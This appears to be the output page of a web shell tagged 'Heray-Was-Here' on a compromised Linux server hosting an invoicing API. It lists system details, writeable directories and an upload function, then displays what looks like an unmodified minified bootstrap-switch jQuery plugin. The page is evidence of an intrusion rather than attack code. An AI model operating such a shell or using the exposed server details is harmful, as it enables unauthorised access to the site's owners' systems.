Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/facapi44/API_Hacienda/www/Facturador/assets/vendor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/facapi44/API_Hacienda/www/Facturador/assets/vendor/bootstrap-switch.min.js
!function(t,e){"function"==typeof define&&define.amd?define(["jquery"],e):"undefined"!=typeof exports?e(require("jquery")):(e(t.jquery),t.bootstrapSwitch={exports:{}}.exports)}(this,function(t){"use strict";function e(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}var i=function(t){return t&&t.__esModule?t:{default:t}}(t),s=Object.assign||function(t){for(var e,i=1;i<arguments.length;i++)for(var s in e=arguments[i])Object.prototype.hasOwnProperty.call(e,s)&&(t[s]=e[s]);return t},n=function(){function t(t,e){for(var i,s=0;s<e.length;s++)i=e[s],i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}return function(e,i,s){return i&&t(e.prototype,i),s&&t(e,s),e}}(),o=i.default||window.jQuery||window.$,a=function(){function t(i){var s=this,n=1<arguments.length&&void 0!==arguments[1]?arguments[1]:{};e(this,t),this.$element=o(i),this.options=o.extend({},o.fn.bootstrapSwitch.defaults,this._getElementOptions(),n),this.prevOptions={},this.$wrapper=o("<div>",{class:function(){var t=[];return t.push(s.options.state?"on":"off"),s.options.size&&t.push(s.options.size),s.options.disabled&&t.push("disabled"),s.options.readonly&&t.push("readonly"),s.options.indeterminate&&t.push("indeterminate"),s.options.inverse&&t.push("inverse"),s.$element.attr("id")&&t.push("id-"+s.$element.attr("id")),t.map(s._getClass.bind(s)).concat([s.options.baseClass],s._getClasses(s.options.wrapperClass)).join(" ")}}),this.$container=o("<div>",{class:this._getClass("container")}),this.$on=o("<span>",{html:this.options.onText,class:this._getClass("handle-on")+" "+this._getClass(this.options.onColor)}),this.$off=o("<span>",{html:this.options.offText,class:this._getClass("handle-off")+" "+this._getClass(this.options.offColor)}),this.$label=o("<span>",{html:this.options.labelText,class:this._getClass("label")}),this.$element.on("init.bootstrapSwitch",this.options.onInit.bind(this,i)),this.$element.on("switchChange.bootstrapSwitch",function(){for(var t=arguments.length,e=Array(t),n=0;n<t;n++)e[n]=arguments[n];!1===s.options.onSwitchChange.apply(i,e)&&(s.$element.is(":radio")?o('[name="'+s.$element.attr("name")+'"]').trigger("previousState.bootstrapSwitch",!0):s.$element.trigger("previousState.bootstrapSwitch",!0))}),this.$container=this.$element.wrap(this.$container).parent(),this.$wrapper=this.$container.wrap(this.$wrapper).parent(),this.$element.before(this.options.inverse?this.$off:this.$on).before(this.$label).before(this.options.inverse?this.$on:this.$off),this.options.indeterminate&&this.$element.prop("indeterminate",!0),this._init(),this._elementHandlers(),this._handleHandlers(),this._labelHandlers(),this._formHandler(),this._externalLabelHandler(),this.$element.trigger("init.bootstrapSwitch",this.options.state)}return n(t,[{key:"setPrevOptions",value:function(){this.prevOptions=s({},this.options)}},{key:"state",value:function(t,e){return void 0===t?this.options.state:this.options.disabled||this.options.readonly||this.options.state&&!this.options.radioAllOff&&this.$element.is(":radio")?this.$element:(this.$element.is(":radio")?o('[name="'+this.$element.attr("name")+'"]').trigger("setPreviousOptions.bootstrapSwitch"):this.$element.trigger("setPreviousOptions.bootstrapSwitch"),this.options.indeterminate&&this.indeterminate(!1),this.$element.prop("checked",!!t).trigger("change.bootstrapSwitch",e),this.$element)}},{key:"toggleState",value:function(t){return this.options.disabled||this.options.readonly?this.$element:this.options.indeterminate?(this.indeterminate(!1),this.state(!0)):this.$element.prop("checked",!this.options.state).trigger("change.bootstrapSwitch",t)}},{key:"size",value:function(t){return void 0===t?this.options.size:(null!=this.options.size&&this.$wrapper.removeClass(this._getClass(this.options.size)),t&&this.$wrapper.addClass(this._getClass(t)),this._width(),this._containerPosition(),this.options.size=t,this.$element)}},{key:"animate",value:function(t){return void 0===t?this.options.animate:this.options.animate===!!t?this.$element:this.toggleAnimate()}},{key:"toggleAnimate",value:function(){return this.options.animate=!this.options.animate,this.$wrapper.toggleClass(this._getClass("animate")),this.$element}},{key:"disabled",value:function(t){return void 0===t?this.options.disabled:this.options.disabled===!!t?this.$element:this.toggleDisabled()}},{key:"toggleDisabled",value:function(){return this.options.disabled=!this.options.disabled,this.$element.prop("disabled",this.options.disabled),this.$wrapper.toggleClass(this._getClass("disabled")),this.$element}},{key:"readonly",value:function(t){return void 0===t?this.options.readonly:this.options.readonly===!!t?this.$element:this.toggleReadonly()}},{key:"toggleReadonly",value:function(){return this.options.readonly=!this.options.readonly,this.$element.prop("readonly",this.options.readonly),this.$wrapper.toggleClass(this._getClass("readonly")),this.$element}},{key:"indeterminate",value:function(t){return void 0===t?this.options.indeterminate:this.options.indeterminate===!!t?this.$element:this.toggleIndeterminate()}},{key:"toggleIndeterminate",value:function(){return this.options.indeterminate=!this.options.indeterminate,this.$element.prop("indeterminate",this.options.indeterminate),this.$wrapper.toggleClass(this._getClass("indeterminate")),this._containerPosition(),this.$element}},{key:"inverse",value:function(t){return void 0===t?this.options.inverse:this.options.inverse===!!t?this.$element:this.toggleInverse()}},{key:"toggleInverse",value:function(){this.$wrapper.toggleClass(this._getClass("inverse"));var t=this.$on.clone(!0),e=this.$off.clone(!0);return this.$on.replaceWith(e),this.$off.replaceWith(t),this.$on=e,this.$off=t,this.options.inverse=!this.options.inverse,this.$element}},{key:"onColor",value:function(t){return void 0===t?this.options.onColor:(this.options.onColor&&this.$on.removeClass(this._getClass(this.options.onColor)),this.$on.addClass(this._getClass(t)),this.options.onColor=t,this.$element)}},{key:"offColor",value:function(t){return void 0===t?this.options.offColor:(this.options.offColor&&this.$off.removeClass(this._getClass(this.options.offColor)),this.$off.addClass(this._getClass(t)),this.options.offColor=t,this.$element)}},{key:"onText",value:function(t){return void 0===t?this.options.onText:(this.$on.html(t),this._width(),this._containerPosition(),this.options.onText=t,this.$element)}},{key:"offText",value:function(t){return void 0===t?this.options.offText:(this.$off.html(t),this._width(),this._containerPosition(),this.options.offText=t,this.$element)}},{key:"labelText",value:function(t){return void 0===t?this.options.labelText:(this.$label.html(t),this._width(),this.options.labelText=t,this.$element)}},{key:"handleWidth",value:function(t){return void 0===t?this.options.handleWidth:(this.options.handleWidth=t,this._width(),this._containerPosition(),this.$element)}},{key:"labelWidth",value:function(t){return void 0===t?this.options.labelWidth:(this.options.labelWidth=t,this._width(),this._containerPosition(),this.$element)}},{key:"baseClass",value:function(){return this.options.baseClass}},{key:"wrapperClass",value:function(t){return void 0===t?this.options.wrapperClass:(t||(t=o.fn.bootstrapSwitch.defaults.wrapperClass),this.$wrapper.removeClass(this._getClasses(this.options.wrapperClass).join(" ")),this.$wrapper.addClass(this._getClasses(t).join(" ")),this.options.wrapperClass=t,this.$element)}},{key:"radioAllOff",value:function(t){if(void 0===t)return this.options.radioAllOff;var e=!!t;return this.options.radioAllOff===e?this.$element:(this.options.radioAllOff=e,this.$element)}},{key:"onInit",value:function(t){return void 0===t?this.options.onInit:(t||(t=o.fn.bootstrapSwitch.defaults.onInit),this.options.onInit=t,this.$element)}},{key:"onSwitchChange",value:function(t){return void 0===t?this.options.onSwitchChange:(t||(t=o.fn.bootstrapSwitch.defaults.onSwitchChange),this.options.onSwitchChange=t,this.$element)}},{key:"destroy",value:function(){var t=this.$element.closest("form");return t.length&&t.off("reset.bootstrapSwitch").removeData("bootstrap-switch"),this.$container.children().not(this.$element).remove(),this.$element.unwrap().unwrap().off(".bootstrapSwitch").removeData("bootstrap-switch"),this.$element}},{key:"_getElementOptions",value:function(){return{state:this.$element.is(":checked"),size:this.$element.data("size"),animate:this.$element.data("animate"),disabled:this.$element.is(":disabled"),readonly:this.$element.is("[readonly]"),indeterminate:this.$element.data("indeterminate"),inverse:this.$element.data("inverse"),radioAllOff:this.$element.data("radio-all-off"),onColor:this.$element.data("on-color"),offColor:this.$element.data("off-color"),onText:this.$element.data("on-text"),offText:this.$element.data("off-text"),labelText:this.$element.data("label-text"),handleWidth:this.$element.data("handle-width"),labelWidth:this.$element.data("label-width"),baseClass:this.$element.data("base-class"),wrapperClass:this.$element.data("wrapper-class")}}},{key:"_width",value:function(){var t=this,e=this.$on.add(this.$off).add(this.$label).css("width",""),i="auto"===this.options.handleWidth?Math.round(Math.max(this.$on.width(),this.$off.width())):this.options.handleWidth;return e.width(i),this.$label.width(function(e,s){return"auto"===t.options.labelWidth?s<i?i:s:t.options.labelWidth}),this._handleWidth=this.$on.outerWidth(),this._labelWidth=this.$label.outerWidth(),this.$container.width(2*this._handleWidth+this._labelWidth),this.$wrapper.width(this._handleWidth+this._labelWidth)}},{key:"_containerPosition",value:function(){var t=this,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:this.options.state;arguments[1];this.$container.css("margin-left",function(){var i=[0,"-"+t._handleWidth+"px"];return t.options.indeterminate?"-"+t._handleWidth/2+"px":e?t.options.inverse?i[1]:i[0]:t.options.inverse?i[0]:i[1]})}},{key:"_init",value:function(){var t=this,e=function(){t.setPrevOptions(),t._width(),t._containerPosition(),setTimeout(function(){if(t.options.animate)return t.$wrapper.addClass(t._getClass("animate"))},50)};if(this.$wrapper.is(":visible"))return void e();var i=window.setInterval(function(){if(t.$wrapper.is(":visible"))return e(),window.clearInterval(i)},50)}},{key:"_elementHandlers",value:function(){var t=this;return this.$element.on({"setPreviousOptions.bootstrapSwitch":this.setPrevOptions.bind(this),"previousState.bootstrapSwitch":function(){t.options=t.prevOptions,t.options.indeterminate&&t.$wrapper.addClass(t._getClass("indeterminate")),t.$element.prop("checked",t.options.state).trigger("change.bootstrapSwitch",!0)},"change.bootstrapSwitch":function(e,i){e.preventDefault(),e.stopImmediatePropagation();var s=t.$element.is(":checked");t._containerPosition(s),s===t.options.state||(t.options.state=s,t.$wrapper.toggleClass(t._getClass("off")).toggleClass(t._getClass("on")),!i&&(t.$element.is(":radio")&&o('[name="'+t.$element.attr("name")+'"]').not(t.$element).prop("checked",!1).trigger("change.bootstrapSwitch",!0),t.$element.trigger("switchChange.bootstrapSwitch",[s])))},"focus.bootstrapSwitch":function(e){e.preventDefault(),t.$wrapper.addClass(t._getClass("focused"))},"blur.bootstrapSwitch":function(e){e.preventDefault(),t.$wrapper.removeClass(t._getClass("focused"))},"keydown.bootstrapSwitch":function(e){!e.which||t.options.disabled||t.options.readonly||(37===e.which||39===e.which)&&(e.preventDefault(),e.stopImmediatePropagation(),t.state(39===e.which))}})}},{key:"_handleHandlers",value:function(){var t=this;return this.$on.on("click.bootstrapSwitch",function(e){return e.preventDefault(),e.stopPropagation(),t.state(!1),t.$element.trigger("focus.bootstrapSwitch")}),this.$off.on("click.bootstrapSwitch",function(e){return e.preventDefault(),e.stopPropagation(),t.state(!0),t.$element.trigger("focus.bootstrapSwitch")})}},{key:"_labelHandlers",value:function(){var t=this;this.$label.on({click:function(t){t.stopPropagation()},"mousedown.bootstrapSwitch touchstart.bootstrapSwitch":function(e){t._dragStart||t.options.disabled||t.options.readonly||(e.preventDefault(),e.stopPropagation(),t._dragStart=(e.pageX||e.originalEvent.touches[0].pageX)-parseInt(t.$container.css("margin-left"),10),t.options.animate&&t.$wrapper.removeClass(t._getClass("animate")),t.$element.trigger("focus.bootstrapSwitch"))},"mousemove.bootstrapSwitch touchmove.bootstrapSwitch":function(e){if(null!=t._dragStart){var i=(e.pageX||e.originalEvent.touches[0].pageX)-t._dragStart;e.preventDefault(),i<-t._handleWidth||0<i||(t._dragEnd=i,t.$container.css("margin-left",t._dragEnd+"px"))}},"mouseup.bootstrapSwitch touchend.bootstrapSwitch":function(e){if(t._dragStart){if(e.preventDefault(),t.options.animate&&t.$wrapper.addClass(t._getClass("animate")),t._dragEnd){var i=t._dragEnd>-t._handleWidth/2;t._dragEnd=!1,t.state(t.options.inverse?!i:i)}else t.state(!t.options.state);t._dragStart=!1}},"mouseleave.bootstrapSwitch":function(){t.$label.trigger("mouseup.bootstrapSwitch")}})}},{key:"_externalLabelHandler",value:function(){var t=this,e=this.$element.closest("label");e.on("click",function(i){i.preventDefault(),i.stopImmediatePropagation(),i.target===e[0]&&t.toggleState()})}},{key:"_formHandler",value:function(){var t=this.$element.closest("form");t.data("bootstrap-switch")||t.on("reset.bootstrapSwitch",function(){window.setTimeout(function(){t.find("input").filter(function(){return o(this).data("bootstrap-switch")}).each(function(){return o(this).bootstrapSwitch("state",this.checked)})},1)}).data("bootstrap-switch",!0)}},{key:"_getClass",value:function(t){return this.options.baseClass+"-"+t}},{key:"_getClasses",value:function(t){return o.isArray(t)?t.map(this._getClass.bind(this)):[this._getClass(t)]}}]),t}();o.fn.bootstrapSwitch=function(t){for(var e=arguments.length,i=Array(1<e?e-1:0),s=1;s<e;s++)i[s-1]=arguments[s];return Array.prototype.reduce.call(this,function(e,s){var n=o(s),r=n.data("bootstrap-switch"),l=r||new a(s,t);return r||n.data("bootstrap-switch",l),"string"==typeof t?l[t].apply(l,i):e},this)},o.fn.bootstrapSwitch.Constructor=a,o.fn.bootstrapSwitch.defaults={state:!0,size:null,animate:!0,disabled:!1,readonly:!1,indeterminate:!1,inverse:!1,radioAllOff:!1,onColor:"primary",offColor:"default",onText:"ON",offText:"OFF",labelText:"&nbsp",handleWidth:"auto",labelWidth:"auto",baseClass:"bootstrap-switch",wrapperClass:"wrapper",onInit:function(){},onSwitchChange:function(){}}});

Hry